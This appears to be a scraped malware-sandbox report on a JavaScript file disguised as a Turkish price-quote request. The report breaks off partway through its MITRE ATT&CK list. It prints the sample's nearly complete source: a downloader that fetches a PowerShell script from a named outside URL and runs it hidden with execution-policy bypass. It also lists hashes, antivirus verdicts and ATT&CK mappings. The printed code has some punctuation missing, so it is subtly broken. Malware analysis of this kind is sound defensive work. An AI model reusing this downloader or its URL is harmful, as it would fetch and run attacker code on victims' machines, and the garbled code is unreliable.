00E2907C03E2A25403E3E25B03E4402701E469C900E5CE9A02E5D95903E63E2B0DE66C8100E6FB3903E71BEC02E8803F02E89EFA00E8E09501E91BB302E98C0A01EA94CC02EAC66A03ED3EDC02EDCE8403EE051703EF264D03EF798B00F01C3F03F0E0B600F15CD402F17D5F00F1FC6000F2B4FA00F308DB00F3282101F36E7603F4CC3E01F548B100F5500D01F5572A01F6DD3C03F7125E00F7D36F00F7DAAD01F7E89101F7ED6A00F7EE4501F9778C00F9BB9401F9EA9E02FA408503FB080601FB365B03FC3A4701FD676403FDDFE501FF340002FF5C5E01FFAB4503EB00060000000047F10000EB9E02021C410102354F0102A4150102BD7E0004921E010537C600059D3D0305A43C01068653030A29D8000BFF5C000C771A010D9A03010E4D7E000E9D19010FBA9E00110FAA00117C450112B95D0313198300132FD30014AAFD0015402801159ADB0015BCB701181F1B0119C398001A59F7021AFA99001B07F5021E513D03227A4C0322D38900246F160024798902279BCE0027A2A200288BB4002900D800295563032C21D7002DB1A3002E534C012F28F00232551E013256AE0032D45F013307F50236D841013706F4023722C70037F81D013AE8CC023D5E35013F1CEA0042315F00427F7A004293800042C46A0048C6F5004BC836014BDE41014CAF71004D863E034F0B45014F6B680352221301528C490153D88F0054202B0154C6FB025677E80256B722015787490159E5D30059EA60015C24C7025CC005015D4F44015DB340015E42C4005F6C4A015F6CDC0060AA560160B9410161FC390162295101628E7403633E99006363810064C92601657A4C036768A7006843CE026B0110016E7B8C00702C480370BF190170E8250172D8360173D3A70076418E0077BB2B01792D4F017A2226017C22B8007C78A4008009EF02821ABA0082E6F40084680B018571190387279C028B52CB008BA36B038C3BD3008CAB17038D0547018E08C4028F0643018F3CF30091508A009167C80091962201922F9302928271009283510192C41401930547019369C70096390B01994664019AC657019B56A4009C4027019CA553039D9FA0009F60C3009F8F6E009FC8CA00A0B50A01A19D2A01A1D7B300A3B06D03A3C4E200A3F76A00A428F302A5022703A5040301A522A400A58F6000A638DA00A7C23301A9B2DB00AA9FCE02AAA82503AB783D01AC840E01ADEFD302AF686403AFEFC900B0755E00B1414503B4892201B57A4801B6515D00B6D7E602B7E2BF00B9E36D03BA146500BA6CD402BC5F1A01BEDF4403BFC82603BFF1A900C221D100C2278403C3812101C3DC2403C6064E03C82BFC00C9D7CA00CAC5FB02CCC10101CCE11703D0402701D0D32201D0FE6200D12A5201D1589600D3301C01D3834B01D3FE2103D68EFB00D6B79A00D8793D01D9054C03D9114401DA19D700DAD87E00DC30D100DC63F402DDEB2601DE016D03DFD52201DFD83601E3192F01E42C4C01E6199B00E6B92B01E7163001E79B3B01E8A4C601E9D1F500EAB94F00ED3FDC02F00E4E01F19F4301F21B3203F3791E03F3894001F4062801F4793D01F4AD7A00F4C82F01F629F302F65FE401F6D9EC00F7D45F01F8719A00FA67CB00FCA53B03FF506003010007000000E42C4C010800400100000212F8002DD8F4004B11B4007BA8D1008AFAE3009F27FF00A5ADCF00C777D70005004101000006596C012AB72201C9384F01CDAD0501CFF42B0203004201000027691201380E670172ED8101010043010000C0EC7C0001004601000090A6A10100")47:T148d,file/memory contains long string with (Indicator: "(function() { 'use strict';// ============================================================ // Configuration Store (encapsulated) // ============================================================ var CONFIG_DEFAULTS = { address: 'https://kronemedia.de/wp-content/plugins/wpqlxeq/1KMK1.ps1' directory: 'C:\\Temp\\' maxAttempts: 2 };var configState = (function(initial) { var current = {};for (var k in initial) { if (initial.hasOwnProperty(k)) current[k] = initial[k];} return { get: function(key) { return current[key];} set: function(key, value) { current[key] = value;} all: function() { var copy = {};for (var k in current) { if (current.hasOwnProperty(k)) copy[k] = current[k];} return copy;} restore: function() { current = {};for (var k in CONFIG_DEFAULTS) { if (CONFIG_DEFAULTS.hasOwnProperty(k)) current[k] = CONFIG_DEFAULTS[k];} } };})(CONFIG_DEFAULTS);// ============================================================ // COM Factory \x2014 single point of object creation // ============================================================ var ComFactory = { filesystem: function() { return new ActiveXObject('Scripting.FileSystemObject');} shell: function() { return new ActiveXObject('WScript.Shell');} http: function() { return new ActiveXObject('MSXML2.XMLHTTP');} };// ============================================================ // Filesystem Operations // ============================================================ var FileOps = (function() { var fs = ComFactory.filesystem();function ensureFolder(dirPath) { try { if (!fs.FolderExists(dirPath)) { fs.CreateFolder(dirPath);} return true;} catch (e) { return false;} } function writeText(filePath, content) { var handle = fs.CreateTextFile(filePath, true);handle.Write(content);} function randomScriptName() { var rand = Math.random().toString(36).substring(2, 10);return rand.toUpperCase() + '.ps1';} return { ensureFolder: ensureFolder writeText: writeText randomScriptName: randomScriptName };})();// ============================================================ // Network Retrieval // ============================================================ var Network = (function() { var http = ComFactory.http();function fetchWithRetry(url, retries) { var maxTries = (typeof retries === 'number') ? retries : 2;var result = null;for (var attempt = 0;attempt <= maxTries;attempt++) { try { http.open('GET', url, false);if (http.status === 200) { result = http.responseText;} } catch (e) { if (attempt === maxTries) { result = null;} } } return result;} return { fetchWithRetry: fetchWithRetry };})();// ============================================================ // PowerShell Execution // ============================================================ var Executor = (function() { var sh = ComFactory.shell();function runScript(scriptContent, targetDir) { var fileName = FileOps.randomScriptName();var fullPath = targetDir + fileName;var success = false;try { FileOps.writeText(fullPath, scriptContent);var cmdLine = 'powershell.exe -nop -ep bypass -file "' + fullPath + '"';sh.Run(cmdLine, 0, true);success = true;} catch (e) { success = false;} return success;} return { runScript: runScript };})();// ============================================================ // Pipeline \x2014 declarative step sequence // ============================================================ var Pipeline = (function() { var steps = [];function addStep(name, fn, condition) { steps.push({ name: name, fn: fn, condition: condition });return this;} function execute() { var state = { payload: null };for (var i = 0;i < steps.length;i++) { var step = steps[i];if (step.condition && !step.condition(state)) { return false;} var outcome = step.fn(state);if (outcome === false) { return false;} if (outcome !== undefined) { state.payload = outcome;} } return true;} return { addStep: addStep execute: execute };})();// ============================================================ // Main flow construction // ============================================================ function buildPipeline() { var pipeline = Pipeline;// Step 1: Ensure directory pipeline.addStep('ensureDir', function(state) { return FileOps.ensureFolder(configState.get('directory'));// Step 2: Retrieve payload pipeline.addStep('fetchPayload', function(state) { return Network.fetchWithRetry( configState.get('address') configState.get('maxAttempts') );// Step 3: Execute PowerShell (skipped if no payload) pipeline.addStep('executePayload', function(state) { if (!state.payload) return false;return Executor.runScript(state.payload, configState.get('directory'));} function(state) { return state.payload !== null && state.payload !== undefined;return pipeline;} // ============================================================ // Public API // ============================================================ var Api = { run: function() { return buildPipeline().execute();} config: function(key, value) { if (value !== undefined) { configState.set(key, value);return this;} return configState.get(key);} reset: function() { configState.restore();return this;} };// Begin Api.run();// Expose globally this.ScriptAPI = Api;})();"; File: "FIYATTEKLIFISTEGI_TF-2610280002-00_28102026IMP-STF-0285-26.js")30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"497f188df761d422f0f96d90022ca8faf07854d73c299e6ef6fcfffd432005d5","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":63,"unified_at_epoch_ms":1794071421195,"unified_at":"2026-11-07T17:10:21.195Z","metadata":{"hashes":{"sha256":"497f188df761d422f0f96d90022ca8faf07854d73c299e6ef6fcfffd432005d5","sha1":"14c6786a756caa05ef041943e38fad73efb29040","md5":"c9d9a541e248df8728df6b82afa78b26","sha512":"afe924778cfe8f5a57427facaab75fbd59c4cca7cac6409c7648031ef29486eef69300be996f9081b517bab9a3d6a332b3342898af0b69026e4b96ea8e3b4d5d","ssdeep":"48:5NdUgzUmTheZYN4Apia73Dem/eXJWQz2MWHZpdHofhMRQrUy2iDtCvRFujJ:/dUgzUAh3+M39/WYPtZfmWqUFQJ","ssdeep_chunks":["48:5NdUgzU","48:NdUgzUm","48:dUgzUmT","48:UgzUmTh","48:gzUmThe","48:zUmTheZ","48:UmTheZY","48:mTheZYN","48:TheZYN4","48:heZYN4A","48:eZYN4Ap","48:ZYN4Api","48:YN4Apia","48:N4Apia7","48:4Apia73","48:Apia73D","48:pia73De","48:ia73Dem","48:a73Dem/","48:73Dem/e","48:3Dem/eX","48:Dem/eXJ","48:em/eXJW","48:m/eXJWQ","48:/eXJWQz","48:eXJWQz2","48:XJWQz2M","48:JWQz2MW","48:WQz2MWH","48:Qz2MWHZ","48:z2MWHZp","48:2MWHZpd","48:MWHZpdH","48:WHZpdHo","48:HZpdHof","48:ZpdHofh","48:pdHofhM","48:dHofhMR","48:HofhMRQ","48:ofhMRQr","48:fhMRQrU","48:hMRQrUy","48:MRQrUy2","48:RQrUy2i","48:QrUy2iD","48:rUy2iDt","48:Uy2iDtC","48:y2iDtCv","48:2iDtCvR","48:iDtCvRF","48:DtCvRFu","48:tCvRFuj","48:CvRFujJ","96:5NdUgzU","96:NdUgzUm","96:dUgzUmT","96:UgzUmTh","96:gzUmThe","96:zUmTheZ","96:UmTheZY","96:mTheZYN","96:TheZYN4","96:heZYN4A","96:eZYN4Ap","96:ZYN4Api","96:YN4Apia","96:N4Apia7","96:4Apia73","96:Apia73D","96:pia73De","96:ia73Dem","96:a73Dem/","96:73Dem/e","96:3Dem/eX","96:Dem/eXJ","96:em/eXJW","96:m/eXJWQ","96:/eXJWQz","96:eXJWQz2","96:XJWQz2M","96:JWQz2MW","96:WQz2MWH","96:Qz2MWHZ","96:z2MWHZp","96:2MWHZpd","96:MWHZpdH","96:WHZpdHo","96:HZpdHof","96:ZpdHofh","96:pdHofhM","96:dHofhMR","96:HofhMRQ","96:ofhMRQr","96:fhMRQrU","96:hMRQrUy","96:MRQrUy2","96:RQrUy2i","96:QrUy2iD","96:rUy2iDt","96:Uy2iDtC","96:y2iDtCv","96:2iDtCvR","96:iDtCvRF","96:DtCvRFu","96:tCvRFuj","96:CvRFujJ","48:/dUgzUA","48:dUgzUAh","48:UgzUAh3","48:gzUAh3+","48:zUAh3+M","48:UAh3+M3","48:Ah3+M39","48:h3+M39/","48:3+M39/W","48:+M39/WY","48:M39/WYP","48:39/WYPt","48:9/WYPtZ","48:/WYPtZf","48:WYPtZfm","48:YPtZfmW","48:PtZfmWq","48:tZfmWqU","48:ZfmWqUF","48:fmWqUFQ","48:mWqUFQJ"],"imphash":"Unknown"},"file_info":{"file_name":"FIYATTEKLIFISTEGI_TF-2610280002-00_28102026IMP-STF-0285-26.js","file_type":["script","javascript"],"file_type_id":"js","file_size":7536,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1793781342000,"last_seen":1793787937000,"last_multi_scan":1793787937000}},"detections":{"summary":{"verdict":"malicious","score":63,"tags":null},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":41},"sandbox_signatures":{"informative_count":79,"suspicious_count":5,"malicious_count":2,"total":86},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.82045675","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.82045675 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"JS/TrojanDownloader.Agent.AFFK trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"SVM:TrojanDownloader/JS.Nemucod.p","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"JS/Downldr.YH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to execute application using Windows wscript shell (JSP)"},{"type":"malicious","value":"Able to execute commands through Windows command interpreter (ASP)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"GETs files from a web server"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Contains ability to perform GET/POST network requests (xmlhttp)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"},{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"informative","value":"Executes a JavaScript file"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Windows system process connects to a network"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Attempts to obtain browser cookies (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Queries the user identity associated with the current process token"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"informative","value":"Checks warning level of secure to non-secure traffic redirection"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to encrypt a block of data"},{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"informative","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Calls an API typically used to decrypt a block of data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6aeb08212254845b7702a946"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates 